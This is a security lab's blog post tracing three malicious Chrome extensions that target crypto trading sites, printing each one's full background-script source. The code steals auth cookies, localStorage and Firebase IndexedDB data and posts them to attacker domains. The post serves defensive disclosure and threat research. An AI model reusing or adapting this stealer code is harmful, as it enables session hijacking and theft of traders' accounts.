Short read for everyone: we found a malicious Chrome extension that stole login data from a crypto trading site. Tracing the domain it talked to uncovered a second malicious extension. That second extension’s public metadata contained the developer email, which led to a third malicious extension. All three behave the same way: they quietly read session data (cookies, localStorage, IndexedDB) and send it to attacker servers. Below is the full investigative flow and the actual code we found.
We discovered Axiom Enhancer a malicious extension first through our extension analyzer.

The analyzer flagged as suspicious because it has background script that:
Note: Dynamic analysis score of 2 is because the extension only triggers when it locates used logged into axiom.trade which was not simulated in our agentic simulation. Analyzer considers this inconclusive and omit it from overall risk calculations.
Here is the exact background.js code we analyzed for Axiom Enhancer
(() => {
const e = () => {
(console.log('Checking Axiom Tabs'),
chrome.tabs.query({ url: 'https://axiom.trade/*' }, ([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll({ domain: '.axiom.trade' }, o => {
o?.length &&
o.some(e => 'auth-access-token' === e.name) &&
o.some(e => 'auth-refresh-token' === e.name)
? e(o)
: t('Required cookies not found.');
});
})
.then(t => {
return ((o = e.id),
new Promise((e, t) => {
chrome.scripting.executeScript(
{
target: { tabId: o },
func: () => {
try {
return Object.fromEntries(
Object.entries(localStorage)
);
} catch {
return {};
}
},
},
([o]) =>
o?.result
? e(o.result)
: t('Failed to fetch localStorage')
);
})).then(e =>
fetch('http://axiomenhancer.com/api/axiom', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ axiomCookies: t, localStorage: e }),
}).then(() => {
console.log('Syncing in progress');
})
);
var o;
})
.catch(console.error));
}));
},
t = () => {
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
const o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
const t = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${t}s`);
}
}
)
);
var t;
};
let o = null;
const r = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), r());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), r());
}));
})();
{ "axiomCookies": <cookie-array>, "localStorage": <object> }
Why this is bad: cookies + localStorage can include authentication tokens and session data. By collecting and sending them offsite, the extension hands attackers the ability to impersonate users.
From the Axiom Enhancer code we quickly had a useful lead: the extension was sending data to axiomenhancer.com. We searched other extensions and components for the same domain and found Photon Bot. Photon’s background script posted to the same domain, and it specifically captured a cookie used by its targeted site.

Here is the background.js for Photon Bot
(() => {
let e = () => {
(console.log('Checking Photon Tabs'),
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/*' },
([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll(
{ domain: '.photon-sol.tinyastro.io' },
o => {
o?.length && o.some(e => '_photon_ta' === e.name)
? e(o)
: t('Required cookies not found.');
}
);
})
.then(e => {
for (let t of (console.log(e), e))
'_photon_ta' == t.name &&
fetch('https://axiomenhancer.com/api/photon', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookie: t.value }),
});
})
.catch(console.error));
}
));
},
t = () => {
var t;
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
let o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
let a = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${a}s`);
}
}
)
);
},
o = null,
a = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), a());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), a());
}));
})();
Why this matters: Photon used the same attacker domain (axiomenhancer.com) and the same exfiltration approach only the target site and cookie name differed. That strongly suggests the same author or group.
While inspecting Photon’s public metadata (store listing / developer contact), we found a developer email: [email protected]. Using that email as a pivot (searching extension metadata and the Chrome extensions database) revealed a third extension: Trenches Agent.

Here is the main code used by Trenches Agent
const backendURL = 'https://analyticsapi.online/api';
let defaultRateLimit = 5000;
const modules = [
{
name: 'gmgn',
fn: async function () {
chrome.tabs.query({ url: 'https://gmgn.ai/*' }, async tabs => {
let tab;if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://gmgn.ai');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
try {
await logAnalytics(this.name, { localStorageData: ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 25000,
},
{
name: 'bullx',
fn: async function () {
chrome.tabs.query({ url: 'https://bullx.io/*' }, async tabs => {
let tab;if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://bullx.io');
} else {
return;
}
let token = await getCookie({
url: 'https://bullx.io',
name: 'bullx-token',
});
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
cookie: token,
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 35000,
},
{
name: 'axiom',
fn: async function () {
chrome.tabs.query({ url: 'https://axiom.trade/*' }, async tabs => {
let tab;if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://axiom.trade');
} else {
return;
}
let ls = await getLocalStorage(tab.id);let access = await getCookie({
url: 'https://axiom.trade',
name: 'auth-access-token',
});
let refresh = await getCookie({
url: 'https://axiom.trade',
name: 'auth-refresh-token',
});
try {
await logAnalytics(this.name, { cookies: { access, refresh }, ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 30000,
},
{
name: 'photon',
fn: async function () {
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/en/discover' },
async tabs => {
let tab;if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://photon-sol.tinyastro.io/en/discover');
} else {
return;
}
let cookies = await getCookie({
url: 'https://photon-sol.tinyastro.io',
name: '_photon_ta',
});
try {
logAnalytics(this.name, { cookie: cookies });
} catch (e) {
console.log(e);
}
}
);
},
initialized: false,
ratelimit: 40000,
},
{
name: 'padre',
fn: async function () {
chrome.tabs.query({ url: 'https://trade.padre.gg/*' }, async tabs => {
let tab;if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://trade.padre.gg');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 45000,
},
];let started = false;
function scheduleModuleChecks() {
for (const module of modules) {
setInterval(async () => {
try {
await module.fn();
} catch (err) {
console.error(`Error in module ${module.name}:`, err);
}
}, module.ratelimit || defaultRateLimit);
}
}function startChecks() {
if (started) return;console.log('Looking for trading platforms to enhance!');
scheduleModuleChecks();
started = true;
}
startChecks();async function getCookie({ url, name, returnFull = false }) {
return new Promise((resolve, reject) => {
if (!url || !name) {
reject("Missing 'url' or 'name' parameter.");
return;
}chrome.cookies.get({ url, name }, cookie => {
if (chrome.runtime.lastError) {
reject(`Chrome error: ${chrome.runtime.lastError.message}`);
return;
}if (cookie) {
resolve(returnFull ? cookie : cookie.value);
} else {
resolve(false);
}
});
});
}async function openTab(url) {
return new Promise(resolve => {
chrome.tabs.create({ url }, resolve);
});
}
async function getLocalStorage(tabId) {
return new Promise((resolve, reject) => {
chrome.scripting.executeScript(
{
target: { tabId },
func: () => {
try {
// Return all localStorage data as an object
return Object.fromEntries(
Object.entries(localStorage).map(([key, value]) => [key, value])
);
} catch (error) {
console.error('Error accessing localStorage:', error);
return null;
}
},
},
results => {
try {
const [result] = results || [];if (!result || result.result === null) {
return reject(
'Failed to retrieve localStorage or script error occurred.'
);
}resolve(result.result);
} catch (error) {
reject(`Error processing script results: ${error.message}`);
}
}
);
});
}
async function logAnalytics(endpoint, data) {
try {
const response = await fetch(`${backendURL}/${endpoint}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
});if (!response.ok) {
const errorText = await response.text();
console.error(
`❌ Failed to send '${endpoint}' data. Status: ${response.status}, Response: ${errorText}`
);
return false;
}console.log(`✅ '${endpoint}' data sent to backend successfully.`);
return true;
} catch (error) {
console.error(`🚨 Error sending '${endpoint}' data:`, error);
return false;
}
}
async function extractFirebaseData(tabId) {
return new Promise((resolve, reject) => {
chrome.scripting.executeScript(
{
target: { tabId },
func: () => {
return new Promise((resolveInner, rejectInner) => {
const request = indexedDB.open('firebaseLocalStorageDb');request.onerror = () =>
rejectInner('Failed to open IndexedDB: firebaseLocalStorageDb');request.onsuccess = event => {
const db = event.target.result;if (!db.objectStoreNames.contains('firebaseLocalStorage')) {
resolveInner(null); // No firebase data found
return;
}const transaction = db.transaction(
['firebaseLocalStorage'],
'readonly'
);
const store = transaction.objectStore('firebaseLocalStorage');
const getAllRequest = store.getAll();getAllRequest.onsuccess = () => {
const entries = getAllRequest.result;
const firebaseData = {};for (const item of entries) {
firebaseData[item.fbase_key] = item.value;
}resolveInner(firebaseData);
};getAllRequest.onerror = () => {
rejectInner(
'Failed to retrieve data from firebaseLocalStorage'
);
};
};
});
},
},
injectionResults => {
try {
if (
injectionResults &&
injectionResults[0] &&
injectionResults[0].result !== undefined
) {
resolve(injectionResults[0].result);
} else {
reject('Script executed but returned no result.');
}
} catch (err) {
reject(`Error processing script result: ${err.message}`);
}
}
);
});
}chrome.runtime.onInstalled.addListener(() => {
console.log('Extension installed.');
startChecks();
});chrome.runtime.onStartup.addListener(() => {
console.log('Browser startup detected.');
startChecks();
});
Why this is important: Trenches Agent shows the attacker scaled up from one targeted extension (Axiom Enhancer) to a multi-target tool that harvests from many trading platforms.
We want readers to see exactly how one find leads to another; the chain was:
At the time of publishing, all three extensions were available on Chrome store.
Malicious domains / endpoints
Developer contact
Extension IDs
Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension… was originally published in SquareX Labs on Medium, where people are continuing the conversation by highlighting and responding to this story.
*** This is a Security Bloggers Network syndicated blog from SquareX Labs - Medium authored by Kabilan S. Read the original post at: https://labs.sqrx.com/hidden-in-plain-sight-how-we-followed-one-malicious-extension-to-uncover-a-multi-extension-a6f3f0792b98?source=rss----f5a55541436d---4